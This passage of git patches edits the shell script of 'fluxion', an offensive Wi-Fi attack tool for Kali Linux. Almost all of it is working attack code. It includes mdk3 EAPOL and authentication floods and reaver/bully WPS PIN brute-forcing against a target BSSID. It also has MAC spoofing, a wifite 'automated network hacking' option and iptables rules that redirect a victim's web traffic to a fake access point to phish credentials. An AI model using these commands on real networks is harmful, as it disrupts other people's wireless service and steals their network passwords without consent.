What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; clear echo read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; @@ -1658,27 +1665,27 @@ menu ;; 1) clear -timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m menu ;; 3) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv menu ;; 4) clear -xterm -e "wash -i $ADAPTER1" & +xterm -e "wash -i $WIFI_MONITOR" & menu ;; 5) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1692,7 +1699,7 @@ menu ;; 6) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1706,12 +1713,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1725,7 +1732,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1749,7 +1756,7 @@ menu 4) clear echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; clear echo read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; @@ -1834,27 +1841,27 @@ menu ;; 1) clear -timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m menu ;; 3) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv menu ;; 4) clear -xterm -e "wash -i $ADAPTER1" & +xterm -e "wash -i $WIFI_MONITOR" & menu ;; 5) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1868,7 +1875,7 @@ menu ;; 6) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1882,12 +1889,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1901,7 +1908,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1925,7 +1932,7 @@ menu 5) clear echo -read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR; clear echo read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; @@ -2015,27 +2022,27 @@ menu ;; 1) clear -timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250 menu ;; 2) clear -timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m menu ;; 3) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv menu ;; 4) clear -xterm -e "wash -i $ADAPTER1" & +xterm -e "wash -i $WIFI_MONITOR" & menu ;; 5) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2049,7 +2056,7 @@ menu ;; 6) clear -reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2063,12 +2070,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -2082,7 +2089,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do From f62c1ebd8dbd9b3ba7ee3b1cd5077bce923d1060 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Fri, 11 Mar 2016 16:24:15 -0800 Subject: [PATCH 006/294] Update fluxion --- kali/fluxion | 48 ++++++++++++++++++++++++++++++++++-------------- 1 file changed, 34 insertions(+), 14 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 1e87ac6..c6c1138 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -257,7 +257,7 @@ function mostrarheader(){ echo -e "$blue#########################################################" echo -e "$blue# #" echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" + echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo @@ -741,7 +741,7 @@ function Scanchan { function Scan { conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR + xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR } # Choose a network @@ -834,12 +834,13 @@ function askAP { infoap - echo "MODE FakeAP" + echo " ##### Select Attack Option #####" echo " " - echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS" - echo -e " "$blue"4)"$transparent" Back" + echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" + echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" + echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" + echo -e " "$blue"5)"$transparent" Back" echo " " echo -n " #> " read yn @@ -848,7 +849,8 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) selection; break ;; + 4 ) wifite ;; + 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -882,6 +884,24 @@ Unknown option. Choose again"; conditional_clear ;; } function wps { + +clear +echo " +██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ +██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ +██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ +██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ +╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ +╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ + +" + +echo "WPS-SLAUGHTER BY: Apathetic Euphoria" +echo "+ Help and Support from Aanarchyy" + +sleep 3 +clear + #!/bin/bash clear declare BSSID; @@ -1299,7 +1319,7 @@ clear conditional_clear mostrarheader - echo "Select your Attack Methode" + echo "Select your Attack Method" echo " " echo -e " "$blue"0)"$transparent" Select New Target Network" echo -e " "$blue"1)"$transparent" EAPOL Start Flood" @@ -1465,7 +1485,7 @@ clear conditional_clear mostrarheader - echo "Select your Attack Methode" + echo "Select your Attack Method" echo " " echo -e " "$blue"0)"$transparent" Select New Target Network" echo -e " "$blue"1)"$transparent" EAPOL Start Flood" @@ -1639,7 +1659,7 @@ clear conditional_clear mostrarheader - echo "Select your Attack Methode" + echo "Select your Attack Method" echo " " echo -e " "$blue"0)"$transparent" Select New Target Network" echo -e " "$blue"1)"$transparent" EAPOL Start Flood" @@ -1815,7 +1835,7 @@ clear conditional_clear mostrarheader - echo "Select your Attack Methode" + echo "Select your Attack Method" echo " " echo -e " "$blue"0)"$transparent" Select New Target Network" echo -e " "$blue"1)"$transparent" EAPOL Start Flood" @@ -1996,7 +2016,7 @@ clear conditional_clear mostrarheader - echo "Select your Attack Methode" + echo "Select your Attack Method" echo " " echo -e " "$blue"0)"$transparent" Select New Target Network" echo -e " "$blue"1)"$transparent" EAPOL Start Flood" @@ -2706,7 +2726,7 @@ function routear { iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - ittables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -t nat -A POSTROUTING -j MASQUERADE } From bd57cd7b2dbbd023a863b27cf95397bb4ecd50d8 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Fri, 11 Mar 2016 16:38:08 -0800 Subject: [PATCH 007/294] Update README.md --- kali/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/kali/README.md b/kali/README.md index c8621b1..e79e39f 100644 --- a/kali/README.md +++ b/kali/README.md @@ -34,6 +34,7 @@ $ sudo ./flux 1. Deltax @FLuX and Fluxion main developer 2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes 3. vk439 @Linset main developer of linset +4. ApatheticEuphoria @Wifi-Slaughter WPS Crack **Check out the Linset project to lern more** From 9e77f8d009e977088c756c579a0efe1697090a52 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 12 Mar 2016 14:56:14 +0400 Subject: [PATCH 008/294] Update fluxion --- kali/fluxion | 207 +++++++++++++++++++++++++++------------------------ 1 file changed, 110 insertions(+), 97 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index c6c1138..b845401 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -17,7 +17,7 @@ clear DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" -revision=4 +revision=5 version=0.18 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -256,7 +256,7 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} + echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" @@ -284,7 +284,7 @@ function checkdependences { echo -ne "Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -293,7 +293,7 @@ function checkdependences { echo -ne "Aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -302,7 +302,7 @@ function checkdependences { echo -ne "Airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -311,7 +311,7 @@ function checkdependences { echo -ne "Airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -320,7 +320,7 @@ function checkdependences { echo -ne "Awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -329,7 +329,7 @@ function checkdependences { echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -338,7 +338,7 @@ function checkdependences { echo -ne "Dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -347,7 +347,7 @@ function checkdependences { echo -ne "Hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -356,7 +356,7 @@ function checkdependences { echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -365,7 +365,7 @@ function checkdependences { echo -ne "Lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -374,7 +374,7 @@ function checkdependences { echo -ne "Macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -383,7 +383,7 @@ function checkdependences { echo -ne "Mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -392,7 +392,7 @@ function checkdependences { echo -ne "Nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -401,7 +401,7 @@ function checkdependences { echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -410,7 +410,7 @@ function checkdependences { echo -ne "Pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -419,7 +419,7 @@ function checkdependences { echo -ne "Python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi @@ -428,22 +428,31 @@ function checkdependences { echo -ne "Unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 + + echo -ne "Reaver ...." + if ! hash reaver 2>/dev/null; then + echo -e "\e[1;31mNot installed"$transparent"" + exit=1 + else + echo -e "\e[1;32mOK!"$transparent"" + fi + sleep 0.025 echo -ne "Xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - salir=1 + exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 - if [ "$salir" = "1" ]; then + if [ "$exit" = "1" ]; then exit 1 fi @@ -849,7 +858,7 @@ function askAP { 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;; + 4 ) wifite ;wifite; break ;; 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac @@ -857,6 +866,10 @@ function askAP { } +#wifite +function wifite { + sudo python wifite.py +} # Test Passwords / airbase-ng function askauth { @@ -908,10 +921,10 @@ declare BSSID; declare ESSID; declare CHANNEL; declare WIFI_MONITOR; -declare ADAPTER2; -declare ADAPTER3; -declare ADAPTER4; -declare ADAPTER5; +declare WIFI_MONITOR2; +declare WIFI_MONITOR3; +declare WIFI_MONITOR4; +declare WIFI_MONITOR5; sleep 3 clear @@ -932,45 +945,45 @@ echo "Monitor Mode Enabled" enable_mon_mode_2() { -echo "Enabling Monitor Mode on $ADAPTER2" -sudo ifconfig $ADAPTER2 down +echo "Enabling Monitor Mode on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down sleep 1 -sudo iwconfig $ADAPTER2 mode monitor +sudo iwconfig $WIFI_MONITOR2 mode monitor sleep 1 -sudo ifconfig $ADAPTER2 up +sudo ifconfig $WIFI_MONITOR2 up echo "Monitor Mode Enabled" } enable_mon_mode_3() { -echo "Enabling Monitor Mode on $ADAPTER3" -sudo ifconfig $ADAPTER3 down +echo "Enabling Monitor Mode on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down sleep 1 -sudo iwconfig $ADAPTER3 mode monitor +sudo iwconfig $WIFI_MONITOR3 mode monitor sleep 1 -sudo ifconfig $ADAPTER3 up +sudo ifconfig $WIFI_MONITOR3 up echo "Monitor Mode Enabled" } enable_mon_mode_4() { -echo "Enabling Monitor Mode on $ADAPTER4" -sudo ifconfig $ADAPTER4 down +echo "Enabling Monitor Mode on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 downa sleep 1 -sudo iwconfig $ADAPTER4 mode monitor +sudo iwconfig $WIFI_MONITOR4 mode monitor sleep 1 -sudo ifconfig $ADAPTER4 up +sudo ifconfig $WIFI_MONITOR4 up echo "Monitor Mode Enabled" } enable_mon_mode_5() { -echo "Enabling Monitor Mode on $ADAPTER5" -sudo ifconfig $ADAPTER5 down +echo "Enabling Monitor Mode on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down sleep 1 -sudo iwconfig $ADAPTER5 mode monitor +sudo iwconfig $WIFI_MONITOR5 mode monitor sleep 1 -sudo ifconfig $ADAPTER5 up +sudo ifconfig $WIFI_MONITOR5 up echo "Monitor Mode Enabled" } @@ -991,45 +1004,45 @@ echo "MAC Changed" mac_change_2() { -echo "Setting the MAC Address on $ADAPTER2" -sudo ifconfig $ADAPTER2 down +echo "Setting the MAC Address on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down sleep 3 -macchanger $ADAPTER2 -m 02:22:88:29:EC:6F +macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $ADAPTER2 up +sudo ifconfig $WIFI_MONITOR2 up echo "MAC Changed" } mac_change_3() { -echo "Setting the MAC Address on $ADAPTER3" -sudo ifconfig $ADAPTER3 down +echo "Setting the MAC Address on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down sleep 3 -macchanger $ADAPTER3 -m 02:22:88:29:EC:6F +macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $ADAPTER3 up +sudo ifconfig $WIFI_MONITOR3 up echo "MAC Changed" } mac_change_4() { -echo "Setting the MAC Address on $ADAPTER4" -sudo ifconfig $ADAPTER4 down +echo "Setting the MAC Address on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down sleep 3 -macchanger $ADAPTER4 -m 02:22:88:29:EC:6F +macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $ADAPTER4 up +sudo ifconfig $WIFI_MONITOR4 up echo "MAC Changed" } mac_change_5() { -echo "Setting the MAC Address on $ADAPTER5" -sudo ifconfig $ADAPTER5 down +echo "Setting the MAC Address on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down sleep 3 -macchanger $ADAPTER5 -m 02:22:88:29:EC:6F +macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F sleep 3 -sudo ifconfig $ADAPTER5 up +sudo ifconfig $WIFI_MONITOR5 up echo "MAC Changed" } @@ -1211,42 +1224,42 @@ run_mdk3_EAPOL1() run_mdk3_ASOC2() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" } run_mdk3_EAPOL2() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC3() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" } run_mdk3_EAPOL3() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC4() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" } run_mdk3_EAPOL4() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" } run_mdk3_ASOC5() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" } run_mdk3_EAPOL5() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t 